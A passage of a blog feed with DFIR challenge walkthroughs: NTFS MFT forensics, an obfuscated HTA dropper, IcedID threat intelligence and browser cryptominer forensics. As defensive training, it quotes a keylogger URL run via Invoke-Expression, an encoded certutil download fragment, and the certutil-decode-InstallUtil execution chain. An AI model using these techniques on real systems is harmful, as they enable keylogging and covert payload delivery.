Fortunately for us analysts, MFTExplorer is already installed in the LetsDefend analysis environment and can be found in the \u0026quot; # \u0026quot;\nTools\u0026quot; folder using the path below. Go ahead and launch it.\nC:\\Users\\LetsDefend\\Desktop\\Tools\\Eric Zimmerman Tools\\MFTExplorer\\MFTExplorer.exe\nOnce the tool is open:\nClick \u0026quot; # \u0026quot; File\u0026quot; and select \u0026quot; # \u0026quot;\nLoad MFT.\u0026quot;\nNavigate to the $MFT challenge file and select it. Wait for the file to parse. This will take a few minutes, so sit back and relax while it does the magic. After the file is parsed, you\u0026rsquo;ll be presented with a familiar view that looks just like the Windows File Explorer. To answer Question 1, we\u0026rsquo;re looking for a downloaded file, so let\u0026rsquo;s navigate to the user\u0026rsquo;s downloads directory at .\\Users\\LetsDefend\\Downloads.\nWith a quick analysis, we\u0026rsquo;ll identify the file scanner98.zip as the malicious file, since .ZIP files are commonly used to deliver malware, whereas the other suspicious file x.ps1 (a PowerShell script) is less likely to be the initial delivery method, instead it\u0026rsquo;s likely it played a role later in the attack.\nQuestion 2: What is the source URL of the downloaded file? Now that we\u0026rsquo;ve identified scanner98.zip as the malicious download, let\u0026rsquo;s select it and scroll through the data interpreter pane. Here, we\u0026rsquo;ll stumble upon the referrerURL, which shows the URL where the file originated.\nThe referrerURL is part of the Mark of the Web (MoTW), a feature used in Windows to identify files downloaded from the internet. According to Wikipedia, MoTW is implemented using the alternate data stream (ADS) feature of NTFS, which is why we are able to view this metadata in the MFT.\nQuestion 3: What was the time of download of the malicious file? The next stop in our investigation is to determine the download time of scanner98.zip. We can accomplish this goal by looking at the time stamp for the SI_Created On column within MFTExplorer.\nFor added context, this is the $Standard_Information attribute which indicates the file\u0026rsquo;s download time represented as the time it\u0026rsquo;s created on disk. For more information on this topic, check out the excellent research from Magnet Forensics, where this concept is explained in much more detail.\nExpose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact - Magnet Forensics _The goal of timestomping is to edit timestamps being displayed and reported in an attempt to make it seem as though the\u0026hellip;_www.magnetforensics.com\nQuestion 4: A powershell script was created on disk by the malicious file. What is the full path of this script on the system? Now it\u0026rsquo;s time to pivot and inspect the second suspicious file in the directory, x.ps1, that we previously identified as a PowerShell script. We\u0026rsquo;ve already found the directory in the Parent Path, and we only need to infer that the question is looking for a drive letter too.\nQuestion 5: What is the file size of the script in bytes? To answer Question 5, we need to determine the file size of x.ps1. To do this, let\u0026rsquo;s select it and navigate to the \u0026quot; # \u0026quot;\nOverview\u0026quot; section in the bottom right of MFTExplorer. Here, we can review the metadata and attributes to locate the **\u0026quot; # \u0026quot;\nDATA\u0026quot; ** attribute toward the bottom of the window, focusing on the Content size flag.\nSince the view is a little cramped on the LetsDefend environment, we can copy the contents of the Overview pane and paste it into a tool like Notepad++ to make it easier to read.\nNow that we\u0026rsquo;ve identified the Content size attribute, we\u0026rsquo;ll need to convert the Hexadecimal value to Decimal to match the answer format. For this operation, we can use a tool like RapidTables for, well, rapid conversion.\nHex to Decimal Conversion: https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98\nQuestion 6: Recover the file contents of this script. What is the URL it reaches out to? Continuing our analysis of x.ps1, we need to identify any external connections made by the script. Let\u0026rsquo;s scroll through the data interpreter pane until we stumble across the URL below. You may have also noticed this when we copied the contents into Notepad++ in the previous question.\nhttps://raw.githubusercontent.com/samratashok/nishang/master/Gather/Keylogger.ps1\nWith either method, we will see that the script contacts a GitHub URL, which might indicate that it\u0026rsquo;s downloading additional payloads.\nQuestion 7: Based on the content you recovered, what MITRE Technique is observed? Answer the subtechnique id. Now that we\u0026rsquo;ve identified the GitHub URL contacted by x.ps1, let\u0026rsquo;s try to understand what the tool does and map it to the MITRE ATT\u0026amp;CK framework. While we can make some assumptions about the intentions of this script based on the filename, Keylogger.ps1, let\u0026rsquo;s double-check this by reviewing the raw content of this script on GitHub using the URL we identified in the previous question.\nConveniently, the description confirms that this is indeed a keylogging utility. Now, let\u0026rsquo;s jump over to MITRE ATT\u0026amp;CK, search for \u0026quot; # \u0026quot;\nkeylogging\u0026quot; , and note the Technique ID (T1056.001) to answer Question 7.\nInput Capture: Keylogging _Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to\u0026hellip;_attack.mitre.org\nQuestion 8: Which powershell cmdlet was used to execute the code in the script? We\u0026rsquo;ve made it to the last question, which requires us to examine the PowerShell command used to contact the GitHub URL identified in Question 6. Looking back into MFTExplorer, we can identify that the [Invoke-Expression](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5) (IEX) cmdlet is used to run the command. The [Invoke-Expression](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5) (IEX) cmdlet is commonly used to execute a string as a command, which in this case, runs the PowerShell script from the GitHub URL.\nConclusion: There we have it! After analyzing the $MFT with MFTExplorer, we\u0026rsquo;ve successfully identified the malicious file used for initial access, where it was downloaded from, what second-stage payload is retrieved, and its objective. After that, we mapped this tactic to MITRE ATT\u0026amp;CK to determine that it was a keylogging utility and referenced Microsoft Learn to reveal more details about each of these techniques, painting a clearer picture how the adversary was attacking the victim\u0026rsquo;s device. Now that we have scoped the attack and completed our objectives let\u0026rsquo;s close out this walkthrough of the NTFS Forensics challenge!\nA big thank you to LetsDefend, for another incredible challenge. I chose to tackle this challenge for the opportunity to dig deeper into NTFS attributes and to practice with MFTExplorer. In the past, I\u0026rsquo;ve used the CLI version, MFTECmd, and I wanted the hands-on experience with the GUI version. I really appreciated that this challenge was flexible enough to approach in multiple ways. Having a better understanding of the forensic artifacts in the $MFT will absolutely be beneficial in the field. Awesome stuff!\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: LetsDefend Challenge Link: https://app.letsdefend.io/challenge/ntfs-forensics\nMicrosoft Learn — Master File Table (Local File Systems): https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table\nEric Zimmerman\u0026rsquo;s Tools — MFTExplorer: https://ericzimmerman.github.io/#!index.md\nWikipedia — Mark of the Web: Mark of the Web — Wikipedia\nMagnet Forensics — Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact: https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/\nRapid Tables: https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98\nMITRE ATT\u0026amp;CK — Hide Artifacts: NTFS File Attributes (T1564.004): https://attack.mitre.org/techniques/T1564/004/\nMITRE ATT\u0026amp;CK — Input Capture: Keylogging (T1056.001): https://attack.mitre.org/techniques/T1056/001/\nMicrosoft Learn — Invoke-Expression: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5\nEric Zimmerman\u0026rsquo;s Tools — MFTECmd: GitHub — EricZimmerman/MFTECmd: Parses $MFT from NTFS file systems\n","date":"2025-03-09T00:00:00Z","image":"/posts/letsdefend-ntfs-forensics-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-ntfs-forensics-challenge-walkthrough/","title":"LetsDefend — NTFS Forensics Challenge Walkthrough"},{"content":"LetsDefend — Obfuscated HTA Challenge Walkthrough Investigating a suspicious HTA file with Detect-It-Easy, CyberChef, and MITRE ATT\u0026amp;CK. Image Credit: https://app.letsdefend.io/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the Obfuscated HTA challenge from LetsDefend, you\u0026rsquo;re in the right place.\nIn this digital forensics and incident response (DFIR) challenge, we\u0026rsquo;re given a suspicious HTML Application (HTA) file discovered on a malware-infected device. Our goal is to open it up, deobfuscate the code, and determine what this file is doing to prevent this attack from happening again.\nTo aid us in our investigation of the HTA file, we\u0026rsquo;ll leverage Detect-It-Easy for the file analysis and CyberChef for the decoding operations. Then, we\u0026rsquo;ll enrich our findings with MITRE ATT\u0026amp;CK, a global knowledge base of adversary tactics and techniques, and Microsoft Learn to gain a comprehensive understanding of the attack.\nSounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Scenario: A suspicious HTA (HTML Application) file was found on an infected machine. The file is obfuscated to hide its true purpose. Your task is to analyze the code, reverse the obfuscation, and determine what the file is doing. Focus on how the code works and the actions it performs to uncover its true purpose.\nQuestion 1: What is the deobfuscated result of the sample in str1? Let\u0026rsquo;s kick off our investigation by extracting the suspicious HTA file from sample.7z.\nSince we don\u0026rsquo;t have any information about this file yet, we\u0026rsquo;ll need to do some sleuthing. A great starting point is to use Detect It Easy (DIE) to identify the file and perform some cursory analysis. Fortunately, this tool is already installed on the LetsDefend analysis environment in the Tools folder. Let\u0026rsquo;s go ahead and open DIE and point it to the mysterious sample file.\nOnce DIE is loaded and has parsed the sample, we can confirm it\u0026rsquo;s an HTML application, which leaves us a couple of options to examine the contents. We can open it in a text editor like Notepad++ or we can examine it within Detect-It-Easy. Either choice will work for this challenge.\nFor this walkthrough, I\u0026rsquo;ll be using the latter. In DIE, press the \u0026quot; # \u0026quot;\nBinary\u0026quot; button, and select \u0026quot; # \u0026quot;\nStrings.\u0026quot;\nScroll to line 34, where we see a reference to the str1 variable as scram(sample) — but this doesn\u0026rsquo;t tell us what the sample is to answer the Question 1.\nSo, let\u0026rsquo;s start at the top of the file, looking specifically at line 13. We see var sample defined as a strange-looking, obfuscated string. Now we need to figure out how to decode this and make it readable.\npreghgvy.rkr -heypnpur -fcyvg -s\nTo gain some insight, let\u0026rsquo;s review the function on lines 14€“19. It appears that var scram is a function that transforms text strings, but the key is the operation on line 19, which references var ranalph variable.\nWe\u0026rsquo;re getting closer! Now, focus on var ranalph defined back on line 9, and notice var alph right above it. Comparing them, var alph letter A matches var ranalph letter N, B matches O, C matches P, etc. meaning that the letters are replaced with the letter 13 places after it\u0026hellip;this sounds like the ROT13 cipher!\nNow that we have a theory about what encoding is being used, let\u0026rsquo;s test it out and speed up our analysis by using CyberChef. This utility is included in the Tools folder of the LetsDefend VM, or you can use the web-based version — your choice!\nEither way, once in CyberChef, paste the encoded var sample string we found earlier, add the ROT13 operation to the recipe, and check out the output — I think we\u0026rsquo;ve found the answer to Question 1!\nBut, before we go too much further, let\u0026rsquo;s examine the output and focus on the usage of certutil.exe. While we don\u0026rsquo;t yet have the full context of the application, we can start to build the narrative by referring to MITRE ATT\u0026amp;CK\u0026rsquo;s reference for certutil for additional intelligence.\nReviewing the associated techniques, we\u0026rsquo;ll discover that \u0026quot; # \u0026quot;\ncertutil _can be used to download files from a given URL\u0026quot;(T1105). Based on the decoded strings that we discovered in CyberChef, this might indicate that the application performs some download actions.\nLet\u0026rsquo;s keep this in mind as we continue analyzing the rest of the file.\nQuestion 2: After deobfuscating the sample in str2, what is the resulting output? Now that we\u0026rsquo;ve determined how the strings are obfuscated, let\u0026rsquo;s find the sample variable used by str2. We can find this down on line 39, where we see an IP address with some additional obfuscated strings.\nTo discover the answer to Question 2, we\u0026rsquo;ll copy the line into CyberChef again using our existing recipe to reveal some additional clues.\nWe\u0026rsquo;ve now found an IP address and port where a file (file.txt) is downloaded from, and the directory it\u0026rsquo;s then copied to on the local system.\nThis puts us very close to the answer, but the output doesn\u0026rsquo;t quite match the answer format, does it? We can add the \u0026quot; # \u0026quot;\nFind / Replace\u0026quot; operation to the recipe to clean up the extra characters, which should get us to the correct format.\nQuestion 3: What is the deobfuscated result of sample in str3? To answer Question 3, we\u0026rsquo;ll perform the same actions that we did in the last question. We\u0026rsquo;ll find this sample on line 42. Once again, drop it into CyberChef to decode the protocol used.\nQuestion 4: What does the sample in str4 translate to after deobfuscation? Can you guess what we need to do to answer Question 4?\nThat\u0026rsquo;s right! We\u0026rsquo;ll copy the contents of the sample on line 46 and jump back over to CyberChef.\nOnce the string is deobfuscated, we\u0026rsquo;ll uncover another piece of the puzzle. Remember in Question 2, we found evidence of where file.txt was downloaded from? From this new snippet, we see the next step: certutil is used to decode the contents of file.txt and output the results as a new binary, bp.exe.\nBut how did that happen? Let\u0026rsquo;s refer back to the MITRE ATT\u0026amp;CK page for certutil to gather more information. We already learned that certutil can be used to download files, but we also see another associated technique (T1140) listed, which is relevant for this question:\ncertutil has been used to decode binaries hidden inside certificate files as Base64 information.\nWe can also check the syntax on Microsoft Learn to validate this as well:\ncertutil [options] -decode InFile OutFile\nQuestion 5: What is the deobfuscated result of sample in str5? Next up, copy the sample content on line 50 for str5 and return to CyberChef.\nAfter decoding this command, we can determine that the InstallUtil.exe provided as part of the Microsoft .NET Framework interacts with the newly created binary, bp.exe.\nInstallutil.exe (Installer Tool) - .NET Framework _Use Installutil.exe, the Installer Tool. This tool lets you install or uninstall server resources by executing the\u0026hellip;_learn.microsoft.com\nQuestion 6: What is the deobfuscated value of the \u0026quot; # \u0026quot; wobj\u0026quot; variable?\nTo answer Question 6, find the sample on line 36.\nAccording to Microsoft Learn, wscript \u0026quot; # \u0026ldquo;provides an environment in which users can execute scripts in various languages that use various object models to perform tasks,\u0026ldquo;indicating some script usage.\nQuestion 7: What is the purpose of the cmd variable in the script? Now it\u0026rsquo;s time to put together all the pieces of the puzzle we\u0026rsquo;ve found so far. First, locate the cmd variable on line 54.\nWe can see that this command is built by combining the strings identified in the previous steps. So, we just need to plug in values for str3, str2, str1, and normalize them to match the required answer format.\nWhile there might be a more efficient way to do this, I chose to perform this process manually in Notepad.\nBy doing this, we can determine that the full command downloads the second stage payload. Based on the comment on line 53, we can infer that the command sets an environment variable to help the script evade detection by Windows Defender. As we discovered earlier, the script uses certutil.exe to download a file from the specified IP address, port, and path, saving it to C:\\Windows\\Tasks\\file.txt.\nBy piecing this all together, we can confirm that the purpose of the cmd variable is to stealthily download the file, file.txt, using a living-off-the-land binary, certutil.exe.\nQuestion 8: What is the second command executed by the \u0026quot; # \u0026quot; ActiveXObject\u0026rdquo;\nWe\u0026rsquo;ve made it to the last question! All that\u0026rsquo;s left is to look at the cmd2 variable on line 55, which is the second command executed by the ActiveXObject.\nThis command is more straightforward; it\u0026rsquo;s simply str4, which we analyzed back in Question 4. The answer for this question should be the same.\nConclusion: There we have it — great job! Using the Detect-It-Easy and CyberChef, we\u0026rsquo;ve successfully identified and decoded the application\u0026rsquo;s strings obfuscated with the ROT13 cipher. With this information, we discovered that the script within the HTA file downloaded a second-stage payload by leveraging the living-off-the-land binary, certutil.exe. After that, this same LOLbin was used to decode the contents, forming a new binary which was executed using InstallUtil.exe. During the investigation, we turned to MITRE ATT\u0026amp;CK and Microsoft Learn to reveal more details about each of these techniques to better understand the adversary\u0026rsquo;s actions on the victim\u0026rsquo;s device. Now that we have scoped the attack and completed our objectives, let\u0026rsquo;s close out this walkthrough of the Obfuscated HTA challenge!\nA big thank you to LetsDefend, for another engaging and challenging lab scenario. This was a really fun challenge for me to figure out how the obfuscation was performed and then leverage that information to understand the attack story. I chose this one as I\u0026rsquo;ve not had an opportunity to analyze an HTA file in a threat context before, so I wanted to see how that process would look. As always, I found so much value by researching on MITRE ATT\u0026amp;CK and Microsoft Learn to fully understand what TTPs we saw — it\u0026rsquo;s always a great practice for the real world. Awesome stuff!\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/obfuscated-hta\nWikipedia — HTML Application: https://en.wikipedia.org/wiki/HTML_Application\nDetect-It-Easy: https://github.com/horsicq/Detect-It-Easy\nWikipedia — ROT13: https://en.wikipedia.org/wiki/ROT13\nCyberChef: https://gchq.github.io/CyberChef/\nMITRE ATT\u0026amp;CK — Certutil (S0160): https://attack.mitre.org/software/S0160/\nMITRE ATT\u0026amp;CK — Ingress Tool Transfer (T1105): https://attack.mitre.org/techniques/T1105/\nMITRE ATT\u0026amp;CK — Deobfuscate/Decode Files or Information (T1140): https://attack.mitre.org/techniques/T1140/\nMicrosoft Learn — Certutil: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil#-decode\nMicrosoft Learn — InstallUtil.exe (Installer tool): https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool\nMicrosoft Learn — wscript: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript\n","date":"2025-03-02T00:00:00Z","image":"/posts/letsdefend-obfuscated-hta-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-obfuscated-hta-challenge-walkthrough/","title":"LetsDefend — Obfuscated HTA Challenge Walkthrough"},{"content":"CyberDefenders —IcedID Lab Walkthrough A Cyber Threat Intelligence Challenge using VirusTotal, MITRE ATT\u0026amp;CK, and Recorded Future Triage. Image Credit: https://cyberdefenders.org/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive guide to the IcedID Lab from CyberDefenders, you\u0026rsquo;re in the right place. Prepare to dip your toes into the world of cyber threat intelligence!\nIn this scenario, we\u0026rsquo;re investigating a sample of the IcedID banking malware. Our goal is to understand how it operates and identify the threat actor behind it. Having this intelligence can help our team stay one step ahead of this potential threat.\nTo analyze the sample, we\u0026rsquo;ll leverage VirusTotal and Recorded Future Triage (tria.ge) to review previous analysis results about the malware. Then, we\u0026rsquo;ll pivot to MITRE ATT\u0026amp;CK, a global knowledge base of adversary tactics and techniques, to determine which threat actors are linked to the malware. Sounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/icedid/\nChallenge Scenario: A cyber threat group was identified for initiating widespread phishing campaigns to distribute further malicious payloads. The most frequently encountered payloads were IcedID. You have been given a hash of an IcedID sample to analyze and monitor the activities of this advanced persistent threat (APT) group.\nSetup the REMnux Analysis Environment \u0026amp; Extract the challenge file: Safety first! When working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range), it\u0026rsquo;s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I\u0026rsquo;m using REMnux, a specialized Linux distribution for malware analysis.\nTo keep this write-up focused, I\u0026rsquo;m going to skip a step-by-step setup directions of REMnux, but if you\u0026rsquo;d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:\nGet the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into\u0026hellip;_docs.remnux.org\nOnce we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: What is the name of the file associated with the given hash? Let\u0026rsquo;s kick off this challenge by extracting the challenge file using the password linked in the challenge.\nOnce extracted, we\u0026rsquo;ll see the file, hash.txt, which contains a file hash of an IcedID malware sample. According to MITRE ATT\u0026amp;CK, this malware \u0026quot; # \u0026ldquo;is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017\u0026rdquo;.\nWith the unique file hash in our possession, we\u0026rsquo;ll to external services to gather threat intelligence and learn more about the malware. We\u0026rsquo;ll start by using VirusTotal first.\n191eda0c539d284b29efe556abb05cd75a9077a0\nIn your web browser, navigate to the VirusTotal site and paste the file hash into the search field.\nhttps://www.virustotal.com/gui/file/d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d\nTo answer Question 1, navigate to the \u0026quot; # \u0026quot;\n**Details\u0026quot; ** tab and scroll to the **\u0026quot; # \u0026quot;\nNames\u0026quot; ** section, to find the file names associated with the hash. One of them matches the format given by the question.\nQuestion 2: Can you identify the filename of the GIF file that was deployed? Next, to answer Question 2, we need to identify the GIF downloaded by the malware which we can locate in several places on VirusTotal.\nThe first spot we can check is on the \u0026quot; # \u0026quot;\nRelations\u0026quot; tab under the \u0026quot; # \u0026quot;\n**Contacted URLs\u0026quot; ** section. There we\u0026rsquo;ll find several URLs that point to the file, 3003.gif.\nAnother area that we can discover this information is on the \u0026quot; # \u0026quot;\nBehavior\u0026quot; tab under **\u0026quot; # \u0026quot;\nNetwork Communication**\u0026quot;\n\u0026quot; # \u0026quot;\nHTTP Requests,\u0026quot; where network communications are documented after the file has been executed in the VirusTotal sandbox. We\u0026rsquo;ll see the same references to the GIF file that we saw before.\nQuestion 3: How many domains does the malware look to download the additional payload file in Q2? We\u0026rsquo;ve already stumbled on the answer in the previous question when we examined the \u0026quot; # \u0026quot;\nContacted URLs\u0026quot; section. Looking for URLs hosting 3003.gif, we\u0026rsquo;ll note five listed domains:\nQuestion 4: From the domains mentioned in Q3, a DNS registrar was predominantly used by the threat actor to host their harmful content, enabling the malware\u0026rsquo;s functionality. Can you specify the Registrar INC? Now, let\u0026rsquo;s take a closer look at the five domains we discovered in the previous question, focusing on the \u0026quot; # \u0026quot;\nContacted Domains\u0026quot; section. This table gives us some additional, high-level information including the domain registrars for each entry.\nTo answer Question 4, we need to determine the predominant registrar among the five hosting the GIF file. From the table, we\u0026rsquo;ll identify that 2/5 used NameCheap.\nQuestion 5: Could you specify the threat actor linked to the sample provided? Since we know the malware family name already, we now need to hunt for the threat actor group that deploys this malware. For this, we can turn back to the MITRE ATT\u0026amp;CK knowledge base page for IcedID, which will point us in the right direction.\nIcedID _IcedID is a modular banking malware designed to steal financial information that has been observed in the wild since at\u0026hellip;_attack.mitre.org\nScroll down to the \u0026quot; # \u0026quot;\nGroups That Use This Software\u0026quot; section to identity the groups linked to the software. Let\u0026rsquo;s pick the first one (G0127) since it has the most references available.\nOnce on the page, we can see a description of TA551, also known as GOLD CABIN.\nQuestion 6: In the Execution phase, what function does the malware employ to fetch extra payloads onto the system? For the final question, let\u0026rsquo;s jump back to VirusTotal and hunt for execution tactics within the results. Select the \u0026quot; # \u0026quot;\nBehaviors\u0026quot; tab, scroll down to the \u0026quot; # \u0026quot;\nMITRE ATT\u0026amp;CK Tactics and Techniques,\u0026quot; and expand the **\u0026quot; # \u0026quot;\nExecution\u0026quot; ** section.\nAfter a cursory scan, we\u0026rsquo;ll spot a potential hit for the function we are looking for, UrlDownloadToFile. Next, let\u0026rsquo;s take this a step further and check the malware\u0026rsquo;s file hash on another source, Recorded Future Triage (Tria.ge).\nReports | Triage _Edit description_tria.ge\nAfter submitting the file hash, let\u0026rsquo;s see what we can discover by selecting any of the available reports. Then, within the report, navigate to the Malware Config section which displays the source of the file.\nWe\u0026rsquo;ll see within the malware\u0026rsquo;s configuration a similar function to the one we identified on VirusTotal, calling the URLs previously identified. This gives us a high degree of confidence that we\u0026rsquo;ve found the right function. Now let\u0026rsquo;s submit the answer and wrap up this investigation!\nhttps://tria.ge/241110-ncqlyavnct\nConclusion: Job well done! After collecting the IcedID file hash, we moved over to VirusTotal to learn more about the next stage payload downloaded by the malware and where it was hosted. Then, we leveraged MITRE ATT\u0026amp;CK to identify which threat actor group the malware is associated with. Finally, we reviewed the same sample on Tria.ge to gain additional indicators of how the payload is downloaded. We\u0026rsquo;ve now put the pieces together and can provide our team with context and indicators of compromise to watch out for! Having completed our objectives, let\u0026rsquo;s close out this walkthrough of the IcedID Lab.\nA big thank you to CyberDefenders, for another engaging lab. I always keep a threat intelligence challenge in the rotation. I believe that experience with tools like VirusTotal, MITRE ATT\u0026amp;CK, and Tria.ge is a fundamental skill in this field. Hands-on practice with these tools can be especially beneficial when time is of the essence during incident response or when defending against a specific threat actor. I don\u0026rsquo;t often get the opportunity to work with Tria.ge, but every time I encounter it, I\u0026rsquo;m really impressed with the output and results — I\u0026rsquo;ll definitely turn to this tool more often in the real world!\nThanks for your support and going through this investigation with me. Remember, if you found this walkthrough helpful don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: VirusTotal: https://www.virustotal.com/\nMITRE ATT\u0026amp;CK — Software — IcedID (S0483): https://attack.mitre.org/software/S0483/\nMITRE ATT\u0026amp;CK — Groups — TA551 (G1027): https://attack.mitre.org/groups/G0127/\nRecorded Future Triage Reports: https://tria.ge/s?q=d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d\n","date":"2025-02-17T00:00:00Z","image":"/posts/cyberdefenders-icedid-lab-walkthrough/4c487a01ebcb765eec0f5b09f0c9d0cf_MD5.png","permalink":"/posts/cyberdefenders-icedid-lab-walkthrough/","title":"CyberDefenders — IcedID Lab Walkthrough"},{"content":"Blue Team Labs Online — Browser Forensics — Cryptominer Walkthrough An incident response challenge using FTK Imager and the Google Chrome browser cache. Image Credit: https://blueteamlabs.online/\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Browser Forensics -Cryptominer challenge from Blue Team Labs Online, you’re in the right place.\nIn this incident response scenario, we’re handed a forensic image of a victim’s device suspected to be infected with crypto mining malware, and it’s up to us to uncover more details about the activity. Our objective is to analyze the local Google Chrome browser cache to identity the miner, determine if it’s malicious, and understand how it operates.\nTo perform the analysis, we’re going to leverage FTK Imager to explore the device image. Then, we’ll examine the Google Chrome cache and enrich our findings with some external research to learn more about the crypto miner. Sounds like fun, right? Let’s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Link: https://blueteamlabs.online/home/challenge/browser-forensics-cryptominer-aa00f593cb\nChallenge Scenario: Our SOC alerted that there is some traffic related to crypto mining from a PC that was just joined to the network. The incident response team acted immediately, observed that the traffic is originating from browser applications. After collecting all key browser data using FTK Imager, it is your job to use the ad1 file to investigate the crypto mining activity.\nSetup the Analysis Environment \u0026amp; Extract the challenge file: Safety first! It’s always important when working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using FLARE-VM for this challenge and walkthrough.\nTo keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\n[GitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com](https://github.com/mandiant/flare-vm?source=post_page--- \u0026ndash;2efb81522f2c\u0026mdash; \u0026ndash; \u0026ldquo;https://github.com/mandiant/flare-vm?source=post_page--- \u0026ndash;2efb81522f2c\u0026mdash; \u0026ndash;\u0026rdquo;)[](https://github.com/mandiant/flare-vm?source=post_page--- \u0026ndash;2efb81522f2c\u0026mdash; \u0026ndash;)\nOkay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start our investigation!\nQuestion 1: How many browser-profiles are present in Google Chrome? Let’s kick off this challenge by extracting the challenge file, TUJTWfM5uUCHWUHzC5cfEDVYZqw9tYSgS53jWRKc with the provided password. Inside, we’ll find a folder containing BrowserData.zip — Go ahead and extract that one, too.\nThis will give us the challenge file browserdata.ad1, a disk image file created by FTK Imager. If you aren’t familiar with it, FTK imager is a forensic hard disk imaging tool. For this challenge, we’ll use it to mount the evidence/challenge file so that we can analyze the file system within the image, search the user’s Chrome history, and even extract artifacts from the image.\nTo start, launch FTK Imager and load the file by pressing _File \u0026gt; Add Evidence Item \u0026gt; Image File \u0026gt; S_elect the extracted Challenge File (browserdata.ad1).\nLoading the Challenge File in FTK Imager\nNow that we have mounted the image, we can expand the evidence tree and browse the disk artifacts.\nSince the alert pointed to a browser-based attack, we need to navigate to the file path for the Google Chrome Browser data. You might be asking yourself, “where do I find that?” — great question! I’ll point to a handy resource from Foxton Forensics, Browser History Examiner — User Guide which can help point us in the right direction:\nLocation of Google Chrome history\nWindows\nC:\\Users\u0026lt;username\u0026gt;\\AppData\\Local\\Google\\Chrome\\User Data\\Default C:\\Users\u0026lt;username\u0026gt;\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\nBack in FTK, navigate to that file path:\nTo answer Question 1, we’ll need to determine the location of the user profiles to analyze how many are present. Chrome profiles are stored in the user’s AppData \u0026gt; Local \u0026gt; User Data folder. Besides the default profile, additional profiles will be named \u0026ldquo;Profile #\u0026rdquo;.\nBased on the evidence, there are two profiles: Default and Profile 1.\nQuestion 2: What is the name of the browser theme installed on Google Chrome? To answer Question 2, we’re searching for a browser theme. Let’s refer back to the Foxton Forensics guide where we’ll discover that user’s browser settings are stored in the Preferences JSON file.\nLet’s check it out and leverage the “find” function to search for “theme.”\nExamining the Preferences file for Google Chrome\nThis search leads us to a browser extension ID number. To get more information, let’s locate this extension in the Extensions folder by matching the string that we found in Preferences. Once inside of the corresponding Extensions folder, we need to find the theme’s name. This information might be found in the messages.json within the locales folder of the extension.\nBut first, let’s get some background on what the messages.json is from Google:\nEach internationalized extension has at least one file named messages.json that provides locale-specific strings.\nIn other words, this file is used for translation and localization for different languages, including locale-specific strings. Maybe there is a helpful string here for us to discover the extension name? Let’s open messages.json to find out!\nExamining the English messages.json file\nBingo! Inside of the file, we’ll see that the message string displays the name “Earth in Space.”\nQuestion 3: Identify the Extension ID 